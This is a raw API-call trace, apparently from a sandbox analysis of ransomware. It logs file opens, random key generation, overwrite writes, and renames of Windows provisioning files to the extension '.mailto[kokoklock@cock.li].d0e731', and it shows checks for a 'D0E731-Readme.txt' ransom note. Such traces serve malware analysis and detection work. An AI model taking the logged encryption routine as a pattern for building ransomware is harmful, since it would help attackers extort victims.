_Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.377] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.378] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.378] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.378] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0086.378] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.378] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.378] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0086.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ae50) returned 1 [0086.378] RtlExitUserThread (Status=0x1) Thread: id = 1269 os_tid = 0x9fc [0085.212] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml")) returned 0x20 [0088.155] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0088.155] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a0 [0088.156] GetFileSizeEx (in: hFile=0x7a0, lpFileSize=0x2c73fa68 | out: lpFileSize=0x2c73fa68*=864) returned 1 [0088.156] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x35c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.156] ReadFile (in: hFile=0x7a0, lpBuffer=0x2c73fa3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c73fa38, lpOverlapped=0x0 | out: lpBuffer=0x2c73fa3c*, lpNumberOfBytesRead=0x2c73fa38*=0x4, lpOverlapped=0x0) returned 1 [0088.157] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0088.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6d8 [0088.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc750 [0088.158] NtQuerySystemTime (in: CurrentTime=0x2c73fa14 | out: CurrentTime=0x2c73fa14*=132121176460476623) returned 0x0 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x354b6921 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x6b0d8d7e [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x20cbfc31 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x1f2adb84 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x4811a797 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x96696c3e [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x660e3699 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0xc0393016 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x986d4cb1 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x23684ace [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x8e317c92 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x12a34162 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0xa36d9292 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x1a98e873 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0xc0c64e5e [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0xd2d2f28d [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x7a087a4f [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x8ef3ff2c [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x8b337d4 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0xa23af72a [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x7a59ef01 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x44863456 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0xe02fea5c [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x83d04d05 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x7a3d1aff [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0xaea87d29 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x39e1b494 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x19099a27 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x95823fd9 [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x55ed4dbd [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x964f4bdf [0088.158] RtlRandom (in: Seed=0x2c73fa20 | out: Seed=0x2c73fa20) returned 0x671023de [0088.169] ReadFile (in: hFile=0x7a0, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x2c73fa14, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x2c73fa14*=0x360, lpOverlapped=0x0) returned 1 [0088.169] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c73f9dc | out: lpNewFilePointer=0x0) returned 1 [0088.169] WriteFile (in: hFile=0x7a0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2c73fa10, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c73fa10*=0x360, lpOverlapped=0x0) returned 1 [0088.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8b8 [0088.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0088.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0088.169] WriteFile (in: hFile=0x7a0, lpBuffer=0x55dc8b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c73fa0c, lpOverlapped=0x0 | out: lpBuffer=0x55dc8b8*, lpNumberOfBytesWritten=0x2c73fa0c*=0x20, lpOverlapped=0x0) returned 1 [0088.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8b8) returned 1 [0088.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0088.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9bf8) returned 1 [0088.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0088.170] WriteFile (in: hFile=0x7a0, lpBuffer=0x55dc700*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c73fa38, lpOverlapped=0x0 | out: lpBuffer=0x55dc700*, lpNumberOfBytesWritten=0x2c73fa38*=0x8, lpOverlapped=0x0) returned 1 [0088.170] WriteFile (in: hFile=0x7a0, lpBuffer=0x2c73fa50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c73fa38, lpOverlapped=0x0 | out: lpBuffer=0x2c73fa50*, lpNumberOfBytesWritten=0x2c73fa38*=0x4, lpOverlapped=0x0) returned 1 [0088.170] WriteFile (in: hFile=0x7a0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c73fa38, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c73fa38*=0x4, lpOverlapped=0x0) returned 1 [0088.170] WriteFile (in: hFile=0x7a0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c73fa38, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c73fa38*=0x6c, lpOverlapped=0x0) returned 1 [0088.170] WriteFile (in: hFile=0x7a0, lpBuffer=0x55dc6d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c73fa38, lpOverlapped=0x0 | out: lpBuffer=0x55dc6d8*, lpNumberOfBytesWritten=0x2c73fa38*=0x20, lpOverlapped=0x0) returned 1 [0088.170] WriteFile (in: hFile=0x7a0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c73fa38, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c73fa38*=0x4, lpOverlapped=0x0) returned 1 [0088.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6d8) returned 1 [0088.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc778) returned 1 [0088.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc700) returned 1 [0088.170] CloseHandle (hObject=0x7a0) returned 1 [0088.171] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x190) returned 0x33fc9c8 [0088.171] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" [0088.171] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0088.171] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.171] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.172] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0088.172] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0088.172] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0088.172] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.172] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0088.172] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0088.172] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0088.172] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f93d8) returned 1 [0088.172] RtlExitUserThread (Status=0x1) Thread: id = 1270 os_tid = 0xa80 [0085.213] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0086.327] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 1 [0086.344] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.344] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2c7bfe28 | out: lpFileSize=0x2c7bfe28*=480) returned 1 [0086.344] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x1dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.344] ReadFile (in: hFile=0xa30, lpBuffer=0x2c7bfdfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c7bfdf8, lpOverlapped=0x0 | out: lpBuffer=0x2c7bfdfc*, lpNumberOfBytesRead=0x2c7bfdf8*=0x4, lpOverlapped=0x0) returned 1 [0086.345] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dddd0 [0086.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf10 [0086.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbc8 [0086.345] NtQuerySystemTime (in: CurrentTime=0x2c7bfdd4 | out: CurrentTime=0x2c7bfdd4*=132121176442422660) returned 0x0 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xbb78f086 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xa71f12b8 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x191d6a79 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x8d26ca45 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xa22dc929 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x95a52f60 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xd18b0be6 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x5a60908f [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x904f2a76 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x42a57190 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xa3675309 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xe6daa5bb [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xaf9b363f [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x5e3354bb [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xf7938033 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xf3155e03 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x86ad8173 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xc240618e [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x385bc3f3 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xbf22eb0f [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x6535aac8 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x8c68aa8b [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x7b6a4523 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x8ba89fd9 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xd156fc58 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x109666ee [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xee1a7f0e [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xfb4519d2 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x66d74267 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0xa92cffa8 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x32120c16 [0086.346] RtlRandom (in: Seed=0x2c7bfde0 | out: Seed=0x2c7bfde0) returned 0x935fa22c [0086.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0086.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddd0) returned 1 [0086.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0086.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0086.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.357] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.357] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x2c7bfdd4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c7bfdd4*=0x1e0, lpOverlapped=0x0) returned 1 [0086.357] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7bfd9c | out: lpNewFilePointer=0x0) returned 1 [0086.357] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2c7bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c7bfdd0*=0x1e0, lpOverlapped=0x0) returned 1 [0086.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dddd0 [0086.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde20 [0086.358] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde20) returned 1 [0086.358] WriteFile (in: hFile=0xa30, lpBuffer=0x55dddd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c7bfdcc, lpOverlapped=0x0 | out: lpBuffer=0x55dddd0*, lpNumberOfBytesWritten=0x2c7bfdcc*=0x20, lpOverlapped=0x0) returned 1 [0086.358] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddd0) returned 1 [0086.358] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.358] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.358] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.358] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0086.358] WriteFile (in: hFile=0xa30, lpBuffer=0x55dddf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c7bfdf8, lpOverlapped=0x0 | out: lpBuffer=0x55dddf8*, lpNumberOfBytesWritten=0x2c7bfdf8*=0x8, lpOverlapped=0x0) returned 1 [0086.358] WriteFile (in: hFile=0xa30, lpBuffer=0x2c7bfe10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c7bfdf8, lpOverlapped=0x0 | out: lpBuffer=0x2c7bfe10*, lpNumberOfBytesWritten=0x2c7bfdf8*=0x4, lpOverlapped=0x0) returned 1 [0086.359] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c7bfdf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c7bfdf8*=0x4, lpOverlapped=0x0) returned 1 [0086.359] 